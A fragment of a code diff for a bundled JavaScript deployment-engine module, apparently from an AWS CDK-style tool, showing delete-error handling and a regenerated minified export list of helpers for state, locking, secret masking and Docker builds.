+ if (!isInterruptedWaitError(deleteError) && !isMarkedNonRetryable(deleteError) && !isWaitAbandonedError(deleteError) && (msg.includes("does not exist") || msg.includes("was not found") || msg.includes("not found") || msg.includes("No policy found") || msg.includes("NoSuchEntity") || msg.includes("NotFoundException") || msg.includes("ResourceNotFoundException"))) this.logger.debug(`Resource ${logicalId} already deleted (${msg}), removing from state`);
41867
43366
  else throw deleteError;
41868
43367
  }
41869
43368
  const deleteSkipped = deleteSkipReason(deleteResult);
@@ -42530,5 +44029,5 @@ var DeployEngine = class DeployEngine {
42530
44029
  };
42531
44030
 
42532
44031
  //#endregion
42533
- export { secretBearing as $, BOOTSTRAP_MARKER_PREFIX as $n, getAwsClients as $r, s3BucketRegionalDomainName as $t, extractDeploymentEventError as A, markNonRetryable as Ai, buildForceUnlockCommand as An, resolveAutoAssetStorage as Ar, parameterTypeMayLoseSecretIdentity as At, toCfnInteger as B, importableOutputs as Bn, MIGRATE_TMP_PREFIX as Br, configIntegerRefusal as Bt, buildFinalSnapshotIdentifier as C, isCdkdError as Ci, recordMaskOnlyValue as Cn, AssetManifestLoader as Cr, IntrinsicFunctionResolver as Ct, refusesFinalSnapshot as D, isRetryableTransientError as Di, LockManager as Dn, getDefaultStateBucketName as Dr, getAccountInfo as Dt, isFinalSnapshotError as E, isMarkedNonRetryable as Ei, scrubResourceRecord as En, synthesisStatusMessage as Er, coerceParameterTypedValue as Et, isStatefulRecreateTargetSync as F, CUSTOM_RESOURCE_RESPONSE_PREFIX as Fn, resolveUseCdkBootstrapAssets as Fr, resolveExplicitPhysicalId as Ft, gray as G, AssetPublisher as Gn, PARTITION_TABLE as Gr, requireConfigObject as Gt, formatResourceLine as H, orphansAfterRollback as Hn, uploadCfnTemplate as Hr, readConfigString as Ht, renderStatefulReason as I, DEFAULT_STATE_PREFIX as In, stateBucketExistenceConfirmed as Ir, assertRegionMatch as It, yellow as J, buildAssetRedirectMap as Jn, AssemblyReader as Jr, producerRegionsFromState as Jt, green as K, stringifyValue as Kn, canonicalizeRegion as Kr, requireConfigString as Kt, WARM_THROUGHPUT_MEMBERS as L, exportNamesCarriedFrom as Ln, warnDeprecatedNoPrefixCliFlag as Lr, coerceCfnBoolean as Lt, planOrphanAdoption as M, retryClassificationText as Mi, forceQuitRecoveryClause as Mn, resolveSkipPrefix as Mr, isSettledInstanceState as Mt, MULTI_REGION_RECREATE_BLOCKED_TYPES as N, __exportAll as Ni, formatLockExpiry as Nn, resolveStateBucketWithDefault as Nr, WAFv2WebACLProvider as Nt, unsupportedFinalSnapshotError as O, isThrottlingError as Oi, S3StateBackend as On, getLegacyStateBucketName as Or, isImpossibleEmptyStoredAttribute as Ot, isStatefulRecreateTargetForReplace as P, shellQuote as Pn, resolveStateBucketWithDefaultAndSource as Pr, normalizeAwsTagsToCfn as Pt, isExportAliasCollision as Q, AssetModeResolver as Qn, AwsClients as Qr, s3BucketDualStackDomainName as Qt, coerceWarmThroughput as R, hasReadableExportSet as Rn, CFN_TEMPLATE_BODY_LIMIT as Rr, coerceCfnInteger as Rt, PRE_DELETE_SNAPSHOT_TYPES as S, formatError as Si, maskSecretsInText as Sn, stripControlChars as Sr, isTerminationProtectionPropagationError as St, createPreDeleteFinalSnapshot as T, withErrorHandling as Ti, redactSecretsForState as Tn, Synthesizer as Tr, cfnRefValueFromPhysicalId as Tt, bold as U, orphansCarriedFrom as Un, CUSTOM_RESOURCE_RESPONSE_OBJECT_DESCRIPTION as Ur, replayWarn as Ut, toFiniteNumber as V, isReadableBag as Vn, findLargeInlineResources as Vr, configStringRefusal as Vt, cyan as W, shouldRetainResource as Wn, expectedOwnerParam as Wr, requireConfigArray as Wt, collectPublishedOutputNames as X, loadPublishableAssetManifest as Xn, clearBucketRegionCache as Xr, s3BucketArn as Xt, collectDeclaredOutputNames as Y, createAssetRedirectResolver as Yn, processStackMessages as Yr, withSharedDrainBudget as Yt, exportAliasCollisionScrubWarning as Z, rewriteTemplateAssetReferences as Zn, resolveBucketRegion as Zr, s3BucketDomainName as Zt, isSecretBearingReferenceString as _, ResourceUpdateNotSupportedError as _i, errorCauseChain as _n, partitionSensitiveEnv as _r, slowCcOperationTimeoutMs as _t, DeploymentEventsStore as a, CrossAccountSecretRefusalError as ai, findSilentDropProperties as an, readBootstrapMarkerBody as ar, clearOnUpdateRemoval as at, bindingSkippedOutputs as b, StateError as bi, markSameGenerationBag as bn, runDockerStreaming as br, deleteSkipReason as bt, replayFailedOperations as c, DynamicReferenceRegionAmbiguousError as ci, DagBuilder as cn, buildDenyExternalAccessPolicy as cr, createMaskedRetryLogger as ct, updatePartialReason as d, LocalStartServiceError as di, STATE_SOURCED_CROSS_GENERATION_RULES as dn, describeDockerCapturedOutput as dr, beginCommandInterruptScope as dt, resetAwsClients as ei, s3BucketWebsiteUrl as en, assertAssetBucketRegion as er, secretBearingStateKeyWarning as et, withResourceDeadline as f, LockError as fi, STATE_SOURCED_READBACK_RULES as fn, describeDockerExecFailure as fr, endCommandInterruptScope as ft, bagHoldsSecretExpression as g, ResourceTimeoutError as gi, dynamicReferenceTokens as gn, getDockerCmd as gr, CloudControlProvider as gt, computeImplicitDeleteEdges as h, ProvisioningError as hi, createSecretMasker as hn, formatDockerLoginError as hr, startInterruptWatch as ht, DeploymentEventsReader as i, ConfigError as ii, findActionableSilentDrops as in, parseBootstrapMarker as ir, collectInlinePolicyNamesManagedBySiblings as it, makeSiblingClaimReader as j, markRedactedCause as ji, buildLockContentionMessage as jn, resolveCaptureObservedState as jr, refStateLookupFromResource as jt, makeCanonicalizePropertiesFn as k, isTransientServerError as ki, rebuildClientForBucketRegion as kn, resolveApp as kr, isUnboundTemplateParameter as kt, replayRollback as l, IntrinsicResolutionRefusalError as li, TemplateParser as ln, describeAwsFailure as lr, maskDeep as lt, IMPLICIT_DELETE_DEPENDENCIES as m, PartialFailureError as mi, carriesSecretMask as mn, dockerSpawnEnvWithSensitive as mr, isInterruptedWaitError as mt, DEFAULT_RESOURCE_WARN_AFTER_MS as n, AssetError as ni, DiffCalculator as nn, getBootstrapMarkerKey as nr, getCurrentResourceSecrets as nt, planFailedOps as o, DependencyError as oi, describeTypeWithThrottleRetry as on, validateAssetBucketName as or, ProviderRegistry as ot, maskingRetryLogger as p, NestedStackChildDirectDestroyError as pi, TEMPLATE_SOURCED_RULES as pn, describeDockerFailure as pr, interruptWatchListenerCount as pt, red as q, WorkGraph as qn, derivePartitionAndUrlSuffix as qr, classifyReplaySecretRegion as qt, DeployEngine as r, CdkdError as ri, INTRINSIC_KEYS as rn, isCrossRegionRedirect as rr, IAMRoleProvider as rt, planRollback as s, DeployCancelledError as si, withRetry as sn, validateContainerRepoName as sr, wouldReturnToSdkProvider as st, DEFAULT_RESOURCE_TIMEOUT_MS as t, setAwsClients as ti, applyRoleArnIfSet as tn, ensureAssetStorage as tr, secretSafeKeyDisplay as tt, updatePartialMessage as u, LocalInvokeBuildError as ui, STATE_SOURCED_BASELINE_RULES as un, buildDockerImage as ur, maskerOrIdentity as ut, keptWholeReasonText as v, StackHasActiveImportsError as vi, identityKeyFor as vn, redactDockerArgvValues as vr, UNSPECIFIED_SKIP_REASON as vt, ccRoutedFinalSnapshotError as w, normalizeAwsError as wi, recoverMaskedOutput as wn, getDockerImageBySourceHash as wr, carriesDynamicReference as wt, ATOMIC_FINAL_SNAPSHOT_TYPES as x, SynthesisError as xi, maskSecretsInError as xn, escapeRegExp$1 as xr, disableInstanceApiTermination as xt, mergeNoChangeOutputs as y, StackTerminationProtectionError as yi, isSingleDynamicReferenceToken as yn, runDockerForeground as yr, deleteIndeterminateGuards as yt, isWarmThroughputDecrease as z, importableOutputKeys as zn, CFN_TEMPLATE_URL_LIMIT as zr, configBooleanRefusal as zt };
42534
- //# sourceMappingURL=deploy-engine-BYTwDxet.js.map
44032
+ export { secretBearing as $, markNonRetryable as $i, buildLockContentionMessage as $n, resolveCaptureObservedState as $r, malformedExportNamesWarning as $t, extractDeploymentEventError as A, DynamicReferenceRegionAmbiguousError as Ai, DagBuilder as An, buildDenyExternalAccessPolicy as Ar, isImpossibleEmptyStoredAttribute as At, toCfnInteger as B, ResourceUpdateNotSupportedError as Bi, identityKeyFor as Bn, redactDockerArgvValues as Br, coerceCfnBoolean as Bt, buildFinalSnapshotIdentifier as C, setAwsClients as Ci, callerEnvCredentials as Cn, ensureAssetStorage as Cr, isTerminationProtectionPropagationError as Ct, refusesFinalSnapshot as D, CrossAccountSecretRefusalError as Di, findSilentDropProperties as Dn, readBootstrapMarkerBody as Dr, cfnRefValueFromPhysicalId as Dt, isFinalSnapshotError as E, ConfigError as Ei, findActionableSilentDrops as En, parseBootstrapMarker as Er, carriesFetchableDynamicReference as Et, isStatefulRecreateTargetSync as F, MalformedProducerRecordRefusalError as Fi, TEMPLATE_SOURCED_RULES as Fn, describeDockerFailure as Fr, isSettledInstanceState as Ft, gray as G, formatError as Gi, recordMaskOnlyValue as Gn, AssetManifestLoader as Gr, readConfigString as Gt, formatResourceLine as H, StackTerminationProtectionError as Hi, markSameGenerationBag as Hn, runDockerStreaming as Hr, configBooleanRefusal as Ht, renderStatefulReason as I, NestedStackChildDirectDestroyError as Ii, carriesSecretMask as In, dockerSpawnEnvWithSensitive as Ir, WAFv2WebACLProvider as It, yellow as J, withErrorHandling as Ji, scrubResourceRecord as Jn, synthesisStatusMessage as Jr, requireConfigObject as Jt, green as K, isCdkdError as Ki, recoverMaskedOutput as Kn, getDockerImageBySourceHash as Kr, replayWarn as Kt, WARM_THROUGHPUT_MEMBERS as L, PartialFailureError as Li, createSecretMasker as Ln, formatDockerLoginError as Lr, normalizeAwsTagsToCfn as Lt, planOrphanAdoption as M, LocalInvokeBuildError as Mi, STATE_SOURCED_BASELINE_RULES as Mn, buildDockerImage as Mr, isUnboundTemplateParameter as Mt, MULTI_REGION_RECREATE_BLOCKED_TYPES as N, LocalStartServiceError as Ni, STATE_SOURCED_CROSS_GENERATION_RULES as Nn, describeDockerCapturedOutput as Nr, parameterTypeMayLoseSecretIdentity as Nt, unsupportedFinalSnapshotError as O, DependencyError as Oi, describeTypeWithThrottleRetry as On, validateAssetBucketName as Or, coerceParameterTypedValue as Ot, isStatefulRecreateTargetForReplace as P, LockError as Pi, STATE_SOURCED_READBACK_RULES as Pn, describeDockerExecFailure as Pr, refStateLookupFromResource as Pt, isExportAliasCollision as Q, isTransientServerError as Qi, buildForceUnlockCommand as Qn, resolveAutoAssetStorage as Qr, hasReadableResources as Qt, coerceWarmThroughput as R, ProvisioningError as Ri, dynamicReferenceTokens as Rn, getDockerCmd as Rr, resolveExplicitPhysicalId as Rt, PRE_DELETE_SNAPSHOT_TYPES as S, resetAwsClients as Si, applyCallerIdentityCredentials as Sn, assertAssetBucketRegion as Sr, disableInstanceApiTermination as St, createPreDeleteFinalSnapshot as T, CdkdError as Ti, INTRINSIC_KEYS as Tn, isCrossRegionRedirect as Tr, carriesDynamicReference as Tt, bold as U, StateError as Ui, maskSecretsInError as Un, escapeRegExp$1 as Ur, configIntegerRefusal as Ut, toFiniteNumber as V, StackHasActiveImportsError as Vi, isSingleDynamicReferenceToken as Vn, runDockerForeground as Vr, coerceCfnInteger as Vt, cyan as W, SynthesisError as Wi, maskSecretsInText as Wn, stripControlChars as Wr, configStringRefusal as Wt, collectPublishedOutputNames as X, isRetryableTransientError as Xi, S3StateBackend as Xn, getLegacyStateBucketName as Xr, STATE_RESOURCES_MALFORMED as Xt, collectDeclaredOutputNames as Y, isMarkedNonRetryable as Yi, LockManager as Yn, getDefaultStateBucketName as Yr, requireConfigString as Yt, exportAliasCollisionScrubWarning as Z, isThrottlingError as Zi, rebuildClientForBucketRegion as Zn, resolveApp as Zr, hasReadableOutputs as Zt, isSecretBearingReferenceString as _, processStackMessages as _i, s3BucketDomainName as _n, createAssetRedirectResolver as _r, isWaitAbandonedError as _t, DeploymentEventsStore as a, warnDeprecatedNoPrefixCliFlag as ai, malformedResourcesWarning as an, exportNamesCarriedFrom as ar, clearOnUpdateRemoval as at, bindingSkippedOutputs as b, AwsClients as bi, s3BucketWebsiteUrl as bn, AssetModeResolver as br, deleteIndeterminateGuards as bt, replayFailedOperations as c, MIGRATE_TMP_PREFIX as ci, refuseMalformedOutputs as cn, importableOutputs as cr, createMaskedRetryLogger as ct, updatePartialReason as d, CUSTOM_RESOURCE_RESPONSE_OBJECT_DESCRIPTION as di, repairMalformedOutputsForReadOnly as dn, orphansCarriedFrom as dr, beginCommandInterruptScope as dt, markRedactedCause as ea, resolveSkipPrefix as ei, malformedExportSourceWarning as en, forceQuitRecoveryClause as er, secretBearingStateKeyWarning as et, withResourceDeadline as f, expectedOwnerParam as fi, repairMalformedResourcesForReadOnly as fn, shouldRetainResource as fr, endCommandInterruptScope as ft, bagHoldsSecretExpression as g, AssemblyReader as gi, s3BucketArn as gn, buildAssetRedirectMap as gr, CloudControlProvider as gt, computeImplicitDeleteEdges as h, derivePartitionAndUrlSuffix as hi, withSharedDrainBudget as hn, WorkGraph as hr, startInterruptWatch as ht, DeploymentEventsReader as i, stateBucketExistenceConfirmed as ii, malformedRenderedContainersWarning as in, DEFAULT_STATE_PREFIX as ir, collectInlinePolicyNamesManagedBySiblings as it, makeSiblingClaimReader as j, IntrinsicResolutionRefusalError as ji, TemplateParser as jn, describeAwsFailure as jr, isNamelessDynamicReferenceError as jt, makeCanonicalizePropertiesFn as k, DeployCancelledError as ki, withRetry as kn, validateContainerRepoName as kr, getAccountInfo as kt, replayRollback as l, findLargeInlineResources as li, refuseMalformedOutputsForDestroy as ln, isReadableBag as lr, maskDeep as lt, IMPLICIT_DELETE_DEPENDENCIES as m, canonicalizeRegion as mi, producerRegionsFromState as mn, stringifyValue as mr, isInterruptedWaitError as mt, DEFAULT_RESOURCE_WARN_AFTER_MS as n, __exportAll as na, resolveStateBucketWithDefaultAndSource as ni, malformedOutputsRefusalMessage as nn, shellQuote as nr, getCurrentResourceSecrets as nt, planFailedOps as o, CFN_TEMPLATE_BODY_LIMIT as oi, malformedStateRefusalMessage as on, hasReadableExportSet as or, ProviderRegistry as ot, maskingRetryLogger as p, PARTITION_TABLE as pi, classifyReplaySecretRegion as pn, AssetPublisher as pr, interruptWatchListenerCount as pt, red as q, normalizeAwsError as qi, redactSecretsForState as qn, Synthesizer as qr, requireConfigArray as qt, DeployEngine as r, resolveUseCdkBootstrapAssets as ri, malformedOutputsWarning as rn, CUSTOM_RESOURCE_RESPONSE_PREFIX as rr, IAMRoleProvider as rt, planRollback as s, CFN_TEMPLATE_URL_LIMIT as si, refuseMalformedNestedChildOutputs as sn, importableOutputKeys as sr, wouldReturnToSdkProvider as st, DEFAULT_RESOURCE_TIMEOUT_MS as t, retryClassificationText as ta, resolveStateBucketWithDefault as ti, malformedLocalOutputsWarning as tn, formatLockExpiry as tr, secretSafeKeyDisplay as tt, updatePartialMessage as u, uploadCfnTemplate as ui, refuseMalformedState as un, orphansAfterRollback as ur, maskerOrIdentity as ut, keptWholeReasonText as v, clearBucketRegionCache as vi, s3BucketDualStackDomainName as vn, loadPublishableAssetManifest as vr, slowCcOperationTimeoutMs as vt, ccRoutedFinalSnapshotError as w, AssetError as wi, DiffCalculator as wn, getBootstrapMarkerKey as wr, IntrinsicFunctionResolver as wt, ATOMIC_FINAL_SNAPSHOT_TYPES as x, getAwsClients as xi, applyRoleArnIfSet as xn, BOOTSTRAP_MARKER_PREFIX as xr, deleteSkipReason as xt, mergeNoChangeOutputs as y, resolveBucketRegion as yi, s3BucketRegionalDomainName as yn, rewriteTemplateAssetReferences as yr, UNSPECIFIED_SKIP_REASON as yt, isWarmThroughputDecrease as z, ResourceTimeoutError as zi, errorCauseChain as zn, partitionSensitiveEnv as zr, assertRegionMatch as zt };
44033
+ //# sourceMappingURL=deploy-engine-DuiVEV9B.js.map